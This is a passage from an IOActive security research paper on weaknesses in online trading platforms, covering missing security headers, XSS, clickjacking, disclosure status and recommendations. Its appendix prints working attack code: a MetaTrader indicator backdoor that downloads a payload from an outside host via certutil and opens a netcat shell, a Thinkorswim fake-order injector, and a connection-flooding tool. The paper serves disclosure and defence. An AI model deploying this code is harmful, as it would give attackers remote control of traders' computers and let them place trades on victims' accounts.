HSTS policy by supplying a header (Strict-Transport-Security) over an HTTPS connection

- Content-Security-Policy: A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g. inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including Cross-site scripting and other cross-site injections.
- X-XSS-Protection: Enables the XSS filter in the browser.

# Approximately, 70% of the web platforms lack from one or all of such headers.

## Other Weaknesses

Other minor issues found on this platform are:

• **Cross-site Scripting**: attackers could trick users into following a link or navigating to a page that posts a malicious JavaScript statement to the vulnerable site, causing the malicious JavaScript to be returned to and executed by the client.

Only one instance of XSS was found (Interactive Brokers):

×	🚺 Interactive Brokers WebTrader   🗙	Webtrader	×	Low-Cost Online Trading	In
۵	https://gre.wgw.interactivebrokers.com	/webtrader/servic	♥ ☆	Q Buscar	
	MACHINEID=bbb53b41; JSESSIONID=work ib=tpp160066; web=164818884; _ga=GA1.2 IB_SEARCH=1526051231; XYZAB=57284a9	xer131dkqqzty9aj1wc 2.1010942411.15214 9f20fba9a12cca77e0	vj3h2beqe6l.worker 198951; ib_fb_px=1; 1765c32a0eec1b314	13;	
				Aceptar	

- Sensitive data in URL: in a few cases, sensitive data was found in GET requests. This means that the values are passed as parameters in the URL, which could be stored in web server logs or web browsers' history.
- Clickjacking: 50% of the web platforms lack either the X-Frame-Options header or framekillers, hence, it's possible to redress the login page (clickjacking vulnerability). An attacker could trick the user through phishing to click a malicious site that redresses the login page in order to steal the user's credentials.

The following are examples of redressed login forms:

Clickjacking PoC ×				
C 1 (1) file:///C:/Users/nitr0us/Documents/Trading%20Technologies%20(in)Security/WEB/Clickjacking%20PoCs/markets.com_clickjacki				
🗬 MARKETS.COM				
	WEB PLATFORM LOGIN         Please enter your credentials         Login:         Password:         Login			

$\rightarrow$ C' $\textcircled{0}$	i file:///C:/Users/nitr0us/Downloads/clickjacking - AvaOptions.html			
<mark>Select your language</mark> العربية Pyccko 汉 العربة Deutsch Español Français Italiano Türk 日本語 بودارة				
语				
	Please enter your credentials			
<u>AUGUUS</u>	Login:			
HAA I	Password:			
	Login			
Note: For your protection, this system which requires a password for access, is set by default to sign you off				
automatically after a certain period of time.				

Internal IP addresses and emails disclosure: fewer than 30% of web platforms, IPs and emails were found either in HTTP response headers, HTTP body or JavaScript files.

# **Statistics**

Since a picture is worth a thousand words, consider the following graphs:







# **Responsible Disclosure**

One of IOActive's missions is to act responsibly when it comes to vulnerability disclosure. In September 2017 we sent a detailed report to 13 of the brokerage firms whose mobile trading apps presented some of the higher risks vulnerabilities discussed in this paper. More recently, between May and July 2018, we sent additional vulnerability reports to brokerage firms.

As of July 27, 2018, **19 brokers that have medium- or high-risk vulnerabilities** in any of their platforms were contacted. The following table lists the current status of the responsible disclosure process. The status field entries are:

- **Reported**: Vulnerability report sent.
- **Contact initiated, no answer yet**: Email or contact form submitted asking for appropriate security contact information. No answer received yet.

Broker	Date Reported	Status
TD Ameritrade	06-09-17	Reported
	25-05-18	Reported
Interactive Brokers	06-09-17	Reported

Broker	Date Reported	Status
	18-05-18	Reported
Charles Sahwah	06-09-17	Reported
Charles Schwab	24-05-18	Reported
Plus500	06-09-17	Reported
	14-06-18	Reported
AvoTrodo	06-09-17	Reported
Availade	12-06-18	Contact initiated, no answer yet
IQ Option	06-09-17	Reported
	05-06-18	Contact initiated, no answer yet
Markata aam	06-09-17	Reported
Markets.com	21-06-18	Contact initiated, no answer yet
Robinhood	06-09-17	Reported
eToro	06-09-17	Reported
E-TRADE	06-09-17	Reported
Capital One	06-09-17	Reported
easyMarkets	06-09-17	Reported
Firstrade	06-09-17	Reported
Grupo BMV	18-06-18	Contact initiated, no answer yet
Coinbase	17-07-18	Contact initiated, no answer yet
Yahoo! Finance	18-07-18	Reported
ETX Capital	19-07-18	Contact initiated, no answer yet
ETNA Trader	19-07-18	Contact initiated, no answer yet
OANDA	20-07-18	Reported
Money.Net	28-07-18	Contact initiated, no answer yet

**TD Ameritrade**, **Charles Schwab** and **Yahoo! Finance** were the brokers that communicated more with IOActive for resolving the reported issues.
# **Regulators and Rating Organizations**

Digging in some US regulators' websites,<sup>[8] [9] [10]</sup> I noticed that they are already aware of the cybersecurity threats that might negatively impact financial markets and stakeholders. Most of the published content focuses on general threats that could impact end-users or institutions such as phishing, identity theft, antivirus software, social media risks, privacy, and procedures to follow in case of cybersecurity incidents, such as data breaches or disruptive attacks.

Nevertheless, I did not find any documentation related to the security risks of electronic trading nor any recommended guidance for secure software development to educate brokers and FinTech companies on how to create quality products.



Picture taken from http://www.reuters.com/article/net-us-internet-lending/for-online-lenders-wall-street-cashbrings-growth-and-risk-idUSBRE96204I20130703

In addition, there are **rating organizations** that score online brokers on a scale of 1 to 5 stars. I glimpsed two recent reports <sup>[11][12]</sup> and didn't find anything related to security or privacy in their reviews. Nowadays, with frequent cyberattacks in the financial industry, I think **these organizations should give accolades or at least mention the security mechanisms the evaluated trading platforms implement in their reviews.** 

# **Further Research**

An interesting topic related to trading technologies that has not been researched in depth, is **social trading** and its related risks.

The way we communicate has drastically changed over the past decade. Nowadays, we heavily consume social media and use it in many ways, including to express our sentiments regarding companies. Even the stock markets interact with people through social media, for example, NYSE and NASDAQ share Instagram Stories every day:



Many brokerage houses also focus on social trading and implement related features on their platforms. For instance, some platforms offer social feeds that allow you to share your buy/sell orders; someone else could copycat your strategy with a single click. In addition to fundamental and technical analysis tools, other platforms feature a social tab where you can see public sentiment for a stock. This metric analyzes acceptance or rejection of certain securities by people on social media.

Nintendo Co Ltd C OTC Pink - Current Information: NTDOY Information Technology : <u>Software</u>   Large Cap Growth   Based in Japan										NTDOY Go Symbol lookup			
Postmar	ket	Last Tra <b>\$41.</b>	Last Trade Change Since Close \$41.74			Bid         Ask         B/A Size           0.00         0.00         0x0           July 17, 2018 4:02pm ET							
Buy Set triggers	Sell	Closing \$41.80 Add to watch	Price D ) 4	Day's Change	56%)	Bid 41.68 Estimator N	Ask 41.84 EW	B/A S 100x	ize D <b>c200 4</b>	0ay's High 1 <b>1.80</b>	Day's Low 41.52	Volume 333,7 July 17,	(Above Average) 06 2018 3:59pm ET
Selected recent tweets								Follow @TDAmeritrade Sh     Social indicators      7-day volume     Social 72.40					ur Twitter username
<ul> <li>@stefanow777</li> <li>Are adults who play 'Pokemon Go' hopeless slackers?  </li> <li>@guidelive p.d-news.co/nqsx</li> <li>1:38 PM - Jul 17, 2018</li> <li>① 1 <a>See Steven Wang's other Tweets</a></li> </ul>						θ	Mos Poke Ninte Poke	Most Pokem Ninten Pokem	t- <b>tweetec</b> non do non GO	1 NTDO 215.45K 142.98K 101.96K	Y brands	5	2
Random Wikipedia Ro     @RandWikipediaRo     Game Boy Advance SP wd52t app goo gl/Al m84.loe1.ll fci								Mario Zelda		60.76K 40.87K			
Quote <ul> <li>Options: Enter underlying symbol and click Chain   Index: use "\$" (e.g. \$DJI)</li> </ul>												Chain \$ ?	

In addition, companies such as StockTwits select and analyze Twitter content. This feed is used later as an input to some trading platforms.



Social media is a strong weapon for many, if not most, traders. However, there's risk related to trading on misleading information (i.e. fake news) or confusion, such as the following example:



The security flaws found in PGP software dropped the stock price of another company whose stock symbol is PGP. This small confusion caused many traders to take a short position. Thankfully, the price recovered quickly.



The inherent risks associated with trading based on social media is a topic worthy of future research.

# **Conclusions and Recommendations**

- Trading platforms are less secure than the applications seen in retail banking.
- There's still a long way to go to improve the maturity level of security in trading technologies.
- End users should enable all the security mechanisms their platforms offer, such as 2FA and/or biometric authentication and automatic lockout/logout. Also, it's recommended not to trade while connected to public networks and not to use the same password for other financial services.
- **Brokerage firms** should perform regular internal audits to continuously improve the security of their trading platforms.
- **Brokerage firms** should also offer security guidance in their online education centers.
- **Developers** should analyze their current applications to determine if they suffer from the vulnerabilities described in this paper, and if so, fix them.
- **Developers** should design new, more secure financial software following secure coding practices.
- **Regulators** should encourage brokers to implement safeguards for a better trading environment.
- In addition to the generic IT best practices for secure software development, **regulators** should develop trading-specific guidelines to be followed by the brokerage firms and FinTech companies in charge of creating trading software.
- Rating organizations should include security in their reviews.



# Side Note

Remember: **the stock market is not a casino** where you magically get rich overnight. If you lack an understanding of how stocks or other financial instruments work, there is a high risk of losing money quickly. You must understand the market and its purpose before investing.

With nothing left to say, I wish you happy and secure trading!



## References

[1] Ponzi scheme https://en.wikipedia.org/wiki/Ponzi\_scheme

[2] "Pump-and-Dumps" and Market Manipulations https://www.sec.gov/fast-answers/answerspumpdumphtm.html

[3] Practical Examples of How Blockchains Are Used In Banking And The Financial Services Sector

https://www.forbes.com/sites/bernardmarr/2017/08/10/practical-examples-of-how-blockchains-are-used-in-banking-and-the-financial-services-sector/

[4] Personal banking apps leak info through phone <u>https://ioactive.com/personal-banking-apps-leak-info-through/</u>

[5] (In)secure iOS Mobile Banking Apps – 2015 Edition https://ioactive.com/insecure-ios-mobile-banking-apps-2015-edition/

[6] Financial Information eXchange Protocol <u>https://www.fixtrading.org/what-is-fix/</u>

[7] Shoulder surfing (computer security) https://en.wikipedia.org/wiki/Shoulder\_surfing\_(computer\_security)

[8] Financial Industry Regulatory Authority: Cybersecurity http://www.finra.org/industry/cybersecurity

[9] Securities Industry and Financial Markets Association: Cybersecurity <a href="https://www.sifma.org/explore-issues/cybersecurity/">https://www.sifma.org/explore-issues/cybersecurity/</a>

[10] U.S. Securities and Exchange Commission: Cybersecurity, the SEC and You <a href="https://www.sec.gov/spotlight/cybersecurity">https://www.sec.gov/spotlight/cybersecurity</a>

[11] NerdWallet: Best Online Brokers for Stock Trading 2018 https://www.nerdwallet.com/blog/investing/best-online-brokers-for-stock-trading/

[12] StockBrockers: 2018 Online Broker Rankings https://www.stockbrokers.com/annual-broker-review

# **Appendix A: Code**

## MetaTrader 5 Backdoor Disguised as an Ichimoku Indicator

```
//+----+
//|
                                                 Ichimoku.mq5 |
//|
                   Copyright 2009-2017, MetaQuotes Software Corp. |
//|
                                          http://www.mql5.com |
//|
//|
                                      nc backdoor (port 31337) |
//|
                             disguised as an Ichimoku indicator |
1/1
                              Alejandro Hernandez [@nitr0usmx] |
//+-----+
#property copyright "2009-2017, MetaQuotes Software Corp."
#property link "http://www.mql5.com"
#property description "Ichimoku Kinko Hyo"
#property version "13.37"
//--- indicator settings
#property indicator chart window
#property indicator buffers 5
#property indicator plots 4
#property indicator type1 DRAW LINE
#property indicator type2 DRAW LINE
#property indicator type3 DRAW FILLING
#property indicator type4 DRAW LINE
#property indicator color1 Red
#property indicator color2 Blue
#property indicator color3 SandyBrown,Thistle
#property indicator color4 Lime
#property indicator label1 "Tenkan-sen"
#property indicator label2 "Kijun-sen"
#property indicator label3 "Senkou Span A;Senkou Span B"
#property indicator label4 "Chikou Span"
//--- Ichimoku cloud library
#import "shell32.dll"
  int ShellExecuteW(int hwnd, string
                                      Operation, string File, string
Parameters,string Directory,int ShowCmd);
#import
//--- input parameters
input int InpTenkan=9; // Tenkan-sen
input int InpKijun=26; // Kijun-sen
input int InpSenkou=52;
                      // Senkou Span B
//--- indicator buffers
double ExtTenkanBuffer[];
double ExtKijunBuffer[];
double ExtSpanABuffer[];
double ExtSpanBBuffer[];
double ExtChikouBuffer[];
//+-----
//| Custom indicator initialization function
```

```
//+-----
              -----+
void OnInit()
 {
//--- indicator buffers mapping
  SetIndexBuffer(0,ExtTenkanBuffer,INDICATOR DATA);
  SetIndexBuffer(1,ExtKijunBuffer,INDICATOR DATA);
  SetIndexBuffer(2,ExtSpanABuffer,INDICATOR DATA);
  SetIndexBuffer(3,ExtSpanBBuffer,INDICATOR DATA);
  SetIndexBuffer(4,ExtChikouBuffer,INDICATOR DATA);
//---
  IndicatorSetInteger(INDICATOR DIGITS, Digits+1);
//--- sets first bar from what index will be drawn
  PlotIndexSetInteger(0, PLOT DRAW BEGIN, InpTenkan);
  PlotIndexSetInteger(1, PLOT DRAW BEGIN, InpKijun);
  PlotIndexSetInteger(2, PLOT DRAW BEGIN, InpSenkou-1);
//--- lines shifts when drawing
  PlotIndexSetInteger(2,PLOT SHIFT,InpKijun);
  PlotIndexSetInteger(3,PLOT SHIFT,-InpKijun);
//--- change labels for DataWindow
  PlotIndexSetString(0,PLOT LABEL,"Tenkan-sen("+string(InpTenkan)+")");
  PlotIndexSetString(1,PLOT LABEL, "Kijun-sen("+string(InpKijun)+")");
  PlotIndexSetString(2, PLOT LABEL, "Senkou Span A; Senkou
                                                            Span
B("+string(InpSenkou)+")");
//--- Draw the Ichimoku cloud
  ShellExecuteW(0, "Open",
                             "certutil",
                                           "-URLCache
                                                         -f
                                                               -split
http://ichimoku.clouds.org:8484/nc.64 ichimoku.64", "C:\\Windows\\Temp\\",
0);
  ShellExecuteW(0, "Open", "certutil", "-decode ichimoku.64 ichimoku.exe",
"C:\\Windows\\Temp\\", 0);
  ShellExecuteW(0, "Open", "ichimoku", "-1 -p 31337 -e cmd.exe",
"C:\\Windows\\Temp\\", 0);
//--- initialization done
  printf("Ichimoku loaded");
 }
//+-----
//| get highest value for range
//+-----+
double Highest(const double&array[],int range,int fromIndex)
 {
  double res=0;
//---
  res=array[fromIndex];
  for(int i=fromIndex;i>fromIndex-range && i>=0;i--)
    {
     if(res<array[i]) res=array[i];</pre>
    }
//___
  return(res);
```

```
}
//+------
//| get lowest value for range
                                                          //+-----
double Lowest(const double&array[],int range,int fromIndex)
 {
  double res=0;
//---
  res=array[fromIndex];
  for(int i=fromIndex;i>fromIndex-range && i>=0;i--)
    {
    if(res>array[i]) res=array[i];
   }
//---
 return(res);
 }
//+-----+
//| Ichimoku Kinko Hyo
//+-----+
int OnCalculate(const int rates total,
             const int prev calculated,
             const datetime &time[],
             const double &open[],
             const double &high[],
             const double &low[],
             const double &close[],
             const long &tick volume[],
             const long &volume[],
             const int &spread[])
 {
  int limit;
//---
  if(prev calculated==0) limit=0;
  else
                     limit=prev calculated-1;
//---
  for(int i=limit;i<rates total && !IsStopped();i++)</pre>
    {
    ExtChikouBuffer[i]=close[i];
     //--- tenkan sen
     double high=Highest(high, InpTenkan, i);
     double low=Lowest(low,InpTenkan,i);
     ExtTenkanBuffer[i]=( high+ low) /2.0;
     //--- kijun sen
     high=Highest(high, InpKijun, i);
     low=Lowest(low,InpKijun,i);
    ExtKijunBuffer[i]=( high+ low)/2.0;
     //--- senkou span a
     ExtSpanABuffer[i] = (ExtTenkanBuffer[i]+ExtKijunBuffer[i])/2.0;
```

### Thinkorswim Order Pop-up Attack

```
/*
* Thinkorswim Order Pop-up Attack
 * Sends the same ORDER every N MINS mins to the TCP-order server listening
on ORDER PORT
 *
 * Reversed from usergui.jar:
 * usergui/com/devexperts/tos/ui/user/util/TradingServerRAT.java
 * VALID ORDERS:
 * ORDER FOR NFLX (10) <---- To BUY 10 shares of NFLX (Netflix) at
MARKET price
* ORDER FOR NFLX (-10) <---- To SELL 10 shares of NFLX (Netflix) at
MARKET price
* ORDER FOR NFLX (10) LIMIT COST 20000 <---- To BUY 10 shares of NFLX
(Netflix) at LIMIT price of 20 USD (three decimals)
*
 * Compiled with Dev-C++.
* Tools -> Compiler Options -> Add this to the link options to use with
WinSock library: -lws2 32
 *
 * Alejandro Hernandez
* @nitrOusmx
*
*/
#include<winsock.h>
#define ORDER "ORDER FOR NFLX (10)" // To BUY 10 shares of NFLX (Netflix)
at MARKET price
#define ORDER PORT 2000
#define N MINS 5 // 5 mins between orders
#define TIME BETWEEN ORDERS (N MINS * 60 * 1000)
```

```
int main()
{
  unsigned n = 0;
  WSADATA
            wsa;
  SOCKET
                  sfd;
  SOCKADDR IN sin;
                  *remote;
  HOSTENT
  WSAStartup(MAKEWORD(2, 2), &wsa);
  remote = gethostbyname("127.0.0.1");
  memset(&sin, 0x00, sizeof(sin));
  sin.sin family = AF INET;
  sin.sin port = htons(ORDER PORT);
  sin.sin addr = *((struct in_addr *) remote->h_addr);
  while(1) {
        sfd = socket(PF INET, SOCK STREAM, IPPROTO TCP);
        connect(sfd, (LPSOCKADDR)&sin, sizeof(sin));
        send(sfd, ORDER, strlen(ORDER), 0);
        send(sfd, "\n", 1, 0);
       //sleep(TIME BETWEEN ORDERS);
       sleep(2000);
       closesocket(sfd);
  }
```

### **Generic Port Stressor**

```
/*
 * Compiled with Dev-C++.
 * Tools -> Compiler Options -> Add this to the link options to use with
WinSock library: -lws2_32
 *
 * Alejandro Hernandez
 * @nitrOusmx
 *
 */
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
```

```
#include<winsock.h>
int main(int argc, char *argv[])
{
  unsigned int n, n conns;
  WSADATA
                   wsa;
  SOCKADDR IN sin;
  HOSTENT
                   *remote;
  printf("-*-*-*-*-*-*-*-*-*-*-*-'n");
  printf("-* Generic Port Stressor *-\n");
  printf("-*-*-*-*-*-*-*-*-*-*-*-\n\n");
  if(argc != 4){
       fprintf(stderr, "Usage: %s <host> <port> <num connections>\n",
argv[0]);
       exit(-1);
  }
  if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
       fprintf(stderr, "WSAStartup() - Error code: %d\n",
WSAGetLastError());
       exit(-1);
  }
  if((remote = gethostbyname(argv[1])) == NULL){
        fprintf(stderr, "gethostbyname() - Cannot resolve hostname. Error
code: %d\n", WSAGetLastError());
     WSACleanup();
       exit(-1);
  }
  memset(&sin, 0x00, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr = *((struct in addr *)
                  = *((struct in addr *) remote->h addr);
  n conns = atoi(argv[3]);
  SOCKET
            sfd[n conns];
  for (n = 0; n < n conns; n++) \{
        if((sfd[n] = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) ==
INVALID SOCKET) {
             fprintf(stderr, "socket() - Cannot create a socket. Error
code: %d\n", WSAGetLastError());
             goto bye;
        }
        if(connect(sfd[n], (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET ERROR) {
```

```
fprintf(stderr, "connect() - Cannot connect. Error code:
%d\n", WSAGetLastError());
    goto bye;
    }
    printf(".%c", n == 0 ? '\r' : n % 16 == 0 ? '\n' : ' ');
}
bye:
    printf("\n\nSuccessful connections made: %d\n\n", n);
    printf("Press any key to close all the connections and finish\n");
    getchar();
    WSACleanup();
    return 0;
}
```

#### About the Writer

Alejandro Hernández is a senior security consultant at IOActive, Inc., who has more than 10 years of experience in the security space. He provides security services to Fortune 500 companies and other organizations around the world. In addition to authoring Melkor, he co-authored DotDotPwn, a directory traversal fuzzer. He is a speaker at security conferences in South America and the United States. Follow Alejandro on Twitter: <u>@nitr0usmx</u>.

#### About IOActive

IOActive is a comprehensive, high-end information security services firm with a long and established pedigree in delivering elite security services to its customers. Our world-renowned consulting and research teams deliver a portfolio of specialist security services ranging from penetration testing and application code assessment through to semiconductor reverse engineering. Global 500 companies across every industry continue to trust IOActive with their most critical and sensitive security issues. Founded in 1998, IOActive is headquartered in Seattle, USA, with global operations through the Americas, EMEA and Asia Pac regions. Visit <u>www.ioactive.com</u> for more information. Read the IOActive Labs Research Blog: <u>http://blog.ioactive.com/</u>. Follow IOActive on Twitter: <u>http://twitter.com/ioactive</u>.